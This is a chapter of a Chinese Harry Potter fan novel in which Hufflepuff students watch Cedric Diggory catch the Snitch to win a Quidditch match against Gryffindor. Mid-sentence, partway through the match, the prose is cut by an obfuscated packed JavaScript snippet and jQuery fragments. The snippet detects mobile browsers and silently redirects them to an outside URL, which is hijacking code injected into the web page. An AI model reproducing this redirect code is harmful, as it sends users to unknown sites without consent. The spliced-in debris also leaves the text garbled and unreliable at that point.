第108章


    －－


    复活节假期后，四月的霍格沃茨，空气中总弥漫着一股特殊的活力。这种活力不同于开学时的兴奋，也不同于考试前的紧张，而是一种经过漫长冬季后，万物复苏、一切重归正轨的踏实感。城堡外的草地绿得发亮，黑湖在阳光下泛着粼粼波光，连走廊里盔甲们的锈迹似乎都比往日少了几分。


    索菲亚很喜欢这种时节。


    自从情人节的粉色闹剧收场后，洛哈特教授竟然难得地安分了一段时间——也许是被麦格教授私下警告过，也许是终于意识到自己的“浪漫创意”在霍格沃茨水土不服。黑魔法防御课回归到照本宣科的平淡模式，虽然仍然学不到什么真本事，但至少不用再忍受会唱歌的情书和小矮人爱神了。


    “我敢打赌，是邓布利多校长找他谈了话。”米莉森特在变形课教室外低声说，“你们注意到没？上周洛哈特想搞个‘我最惊险冒险’角色扮演大赛，结果麦格教授正好路过，看了他一眼——就一眼，那计划就再没提起了。”


    “我希望他能把这份精力用在正经教学上。”苏珊翻了个白眼，“而不是整天想着怎么出风头。”


    索菲亚没参与讨论。她正忙着检查自己的变形课作业——把一只珍珠鸡变成天竺鼠，变换物种，活体动物之间的形态改变，要注意避免保留原物种特征。


    “不错，史密斯小姐！”麦格教授称赞，“你对细节的掌控力越来越出色了。赫奇帕奇加五分！”


    索菲亚道了谢，又把珍珠鸡变回来。


    “你是怎么做到的？”坐在她旁边的海伦凑过来问，“我的变的小老鼠还有羽毛。”


    “多用一点想象力。”索菲亚收拾着书包，“变形不只是改变外形，还要真的‘相信’它已经成了那个东西。”


    “考验想象力。”海伦叹气，“我还是觉得魔咒课简单些，至少咒语念对、手势做准，效果就出来了。”


    四个女孩结伴走出教室，融入走廊里喧闹的人流。四月的阳光透过高窗洒进来，在地面上投下明亮的光斑。一群二年级学生兴奋地跑过，手里举着自制的应援标语，上面用夸张的字写着“赫奇帕奇必胜！”和“迪戈里抓住飞贼！”


    “啊，对了。”米莉森特一拍脑袋，“今天下午是魁地奇比赛！格兰芬多对赫奇帕奇！”


    索菲亚这才想起来。复活节假期后魁地奇赛季重新开启，今天是首场比赛。


    “塞德里克今年状态很好。”苏珊说，她因为男友本杰明是魁地奇球迷，对球队情况如数家珍，“上学期末的几场训练赛，他抓到飞贼的速度比去年快了近一倍。伍德——就是格兰芬多的守门员兼队长——据说在得知要对上塞德里克后，把格兰芬多的训练强度又提了一个档次。”


    “哈利也不好对付。”海伦客观地说，“他一年级就进了学院队，天赋是公认的。而且他骑的是光轮2000，是目前学校里最快的扫帚之一。”


    “塞德里克的扫帚也不差。”米莉森特立刻反驳，“是彗星260，虽然比不上光轮2000，但稳定性更好。再说了，魁地奇又不是只看扫帚。”


    女孩们争论着走向礼堂吃午饭。索菲亚安静地听着，心里想着下午带什么点心过去看比赛。


    ==


    下午一点半，魁地奇球场已经人声鼎沸。


    四大学院的学生们涌向看台，各自占据着插有学院旗帜的区域。赫奇帕奇的看台被布置成黄黑相间的海洋，许多学生戴着自制獾耳发箍，挥舞着绣有赫奇帕奇徽章的围巾。格兰芬多那边则是红色的浪潮，韦斯莱双胞胎不知从哪儿弄来一批会喷射红色火花的小旗子，正在分发给支持者。


    索菲亚和室友们坐在赫奇帕奇看台的中前排，这个位置视野很好，能清楚地看到整个球场。她抬头望向天空——今天是个适合比赛的好天气，云层稀疏，阳光温和，风速适中。球场两侧分别竖着三个高高的球门环，在阳光下投下长长的影子。


    “看，他们出来了！”米莉森特指着球场入口。


    两支球队骑着扫帚从更衣室飞出，在空中列队。赫奇帕奇队穿着黄黑相间的队袍，格兰芬多则是鲜红色。解说员李·乔丹的声音通过魔法放大，在球场上空响起：


    “女士们先生们，欢迎来到霍格沃茨魁地奇球场！今天是夏季赛季的首场比赛，由格兰芬多学院对阵赫奇帕奇学院！我是今天的解说员，李·乔丹——当然，如果麦格教授允许我自由解说的话！”


    看台上传来一阵笑声。麦格教授坐在看台上，朝解说台方向瞪了一眼。


    “首先入场的是格兰芬多队！守门员兼队长，奥利弗·伍德！追球手安吉利娜·约翰逊、艾丽娅·斯平内特、凯蒂·贝尔！击球手弗雷德·韦斯莱和乔治·韦斯莱——说真的，有人能分清楚他俩吗？最后，找球手，我们二年级的明星，哈利·波特！”


    格兰芬多看台爆发出震耳欲聋的欢呼。哈利骑着光轮2000在空中绕场一周，朝支持者们挥手。他的动作流畅自信，完全看不出只是一年级时那个被疯狂游走球追着打的新手。


    “接下来是赫奇帕奇队！守门员兼队长，赫伯特·弗利特！追球手马尔科姆·普里斯、海蒂·麦卡沃伊、塔姆辛·阿普尔比！击球手玛克辛·奥弗莱厄蒂和安东尼·里基特！以及我们的找球手，四年级的塞德里克·迪戈里！”


    “双方队长握手！伍德和弗利特——哦，看这握手的力度，我打赌他们都在暗中较劲！霍琦夫人走向球场中央，她手里拿着那个装着比赛用球的老木箱……”


    比赛在下午两点整准时开始。


    鬼飞球被抛向空中的瞬间，十四把扫帚同时冲天而起。追球手们迅速展开攻防，击球手的球棍击打游走球的声音砰砰作响，守门员在球门环前严阵以待。整个球场瞬间变成一个高速运转的、立体的战场。


    索菲亚和室友们看得入迷了。


    这是一场精彩的比赛，坐在看台上，看着活生生的人在几十英尺高的空中穿梭、俯冲、急转，那种震撼是屏幕无法传达的。风声、扫帚的呼啸声、球棍的击打声、观众的呐喊声，所有这些交织在一起，形成一种奇异的、令人心跳加速的韵律。


    “格兰芬多得分！”李·乔丹高喊，“约翰逊一个漂亮的假动作晃过普里斯，远程投球——进了！十比零！”


    红色看台沸腾了。但赫奇帕奇很快还以颜色——追球手塔姆辛·阿普尔比接队友传球，从两个格兰芬多追球手中间穿过，一记精准的低空射门，伍德扑救不及。


    “赫奇帕奇得分！十比十平！比赛才开始五分钟，双方已经展现出势均力敌的架势！”


    塞德里克骑扫帚的姿势很特别——不像哈利那样几乎趴在扫帚上追求极致速度，而是保持着一个更挺拔、更稳定的姿态。彗星260在他的操控下显得异常听话，无论是高速直线飞行还是紧急转向，都流畅得如同扫帚是他身体的延伸。他在球场上空巡航，眼睛不断扫视四周，寻找金色飞贼的踪迹。


    哈利在球场的另一侧做着同样的事。两个找球手像盘旋的猎鹰，既在搜寻目标，也在互相提防。


    “哦！危险！”李·乔丹突然提高音量，“韦斯莱双胞胎——我是说乔治——击出的游走球直冲迪戈里！但赫奇帕奇的击球手里基特及时拦截！漂亮的防守！”


    索菲亚的心提了起来。她看见那个黑色的游走球被赫奇帕奇击球手一棍打飞，擦着塞德里克的扫帚尾掠过。塞德里克甚至没有回头看一眼，他的注意力完全在搜寻飞贼上。


    比赛进行到二十分钟，比分交替上升。格兰芬多凭借韦斯莱双胞胎强大的防守和追球手们默契的配合，一度领先五十分。但赫奇帕奇的守门员


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17077124|177161||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    弗利特表现神勇，连续扑出三个必进球，而追球手们则利用团队传球耐心寻找机会，一点点追回比分。


    “现在比分是八十比七十，格兰芬多领先！”李·乔丹解说着，“但赫奇帕奇控球！普里斯传给麦卡沃伊，麦卡沃伊回传给阿普尔比——漂亮的三角传球！阿普尔比突破！她能得分吗？伍德出击——假动作！阿普尔比把球传给了无人盯防的普里斯！射门——进了！八十比八十平！”


    赫奇帕奇看台爆发出欢呼。索菲亚也跟着鼓掌，手都拍红了。她身旁的苏珊跳起来大喊：“就是这样！獾院加油！”


    就在全场注意力都集中在追球手的攻防时，塞德里克朝赛场东面行为，哈利也动了——光轮2000在空中划出一道尖锐的弧线，朝着同一个方向俯冲。


    “找球手行动了！”李·乔丹的声音陡然兴奋，“波特和迪戈里同时启动！他们看到了什么？金色飞贼出现了吗？在哪里？我的天，观众朋友们，我看不见——太快了！”


    两个找球手像两颗流星，从球场两端向中间汇聚。他们的速度越来越快，扫帚尾在空气中拉出长长的轨迹。塞德里克的彗星260在直线加速上稍逊于光轮2000，但他选择的路线更短，切入角度更刁钻。


    观众们屏住呼吸。


    观众看见塞德里克伸出手——不是朝着前方空无一物的空气，而是略微偏左，仿佛在预判某个隐形目标的移动轨迹。他的手指张开，身体几乎完全离开扫帚，整个人悬在空中，全靠双腿夹紧扫帚柄维持平衡。


    “危险！”赫奇帕奇看台上有人惊叫。


    塞德里克的正前方，一个游走球正呼啸而来。是弗雷德·韦斯莱击出的，角度狠准，明显是要逼他改变方向。如果塞德里克躲避，就会错失抓住飞贼的最佳时机；如果不躲，可能会被直接击中。


    千钧一发之际，塞德里克做出了一个所有人都没想到的动作。


    他没有躲，也没有减速，而是在游走球即将撞上的瞬间，猛地一提扫帚头。彗星260几乎垂直上升，游走球擦着他的脚底飞过。而就在这电光石火的上升过程中，塞德里克的右手向斜下方一捞——


    一抹金色在他指缝间闪烁。


    “迪戈里抓住了飞贼！”李·乔丹的尖叫几乎破音，“梅林啊！在那种情况下！赫奇帕奇找球手塞德里克·迪戈里抓住了金色飞贼！比赛结束！让我们看看比分——现在是九十比八十，格兰芬多领先十分，但赫奇帕奇获得一百五十分！赫奇帕奇获胜！”


    寂静。


    全场死寂了一秒钟。


    然后赫奇帕奇看台炸开了。黄色黑色的浪潮涌动，欢呼声、尖叫声、扫帚形状的彩带喷向空中。索菲亚被室友们抱住，米莉森特在她耳边尖叫：“他抓住了！塞德里克抓住了！”


    球场上，塞德里克缓缓降低高度，摊开手掌。那只小小的、长着银色翅膀的金色飞贼在他掌心挣扎。阳光照在他汗湿的脸上，他大口喘着气，但笑容灿烂得晃眼。


    他抬起头，目光再次投向赫奇帕奇看台。


    －－


    格兰芬多那边气氛截然不同。哈利悬停在空中，脸上写满懊恼——他离飞贼只差不到两英尺。伍德抱着头，一副天塌下来的表情。韦斯莱双胞胎一左一右飞到他身边，似乎在安慰他。


    “一场精彩的比赛！”李·乔丹总结道，“赫奇帕奇赢得实至名归，但格兰芬多也展现出了冠军级别的实力！向双方球队致敬！特别是塞德里克·迪戈里——那个抓飞贼的动作绝对能入选本赛季十佳镜头！”


    观众开始陆续退场。赫奇帕奇的学生们兴奋地讨论着刚才的比赛，不少人已经冲下看台，想去球场近距离祝贺球队。格兰芬多们虽然失望，但也大多保持着风度——除了马尔福和他那帮斯莱特林跟班，正故意大声嘲笑哈利“输给了赫奇帕奇”。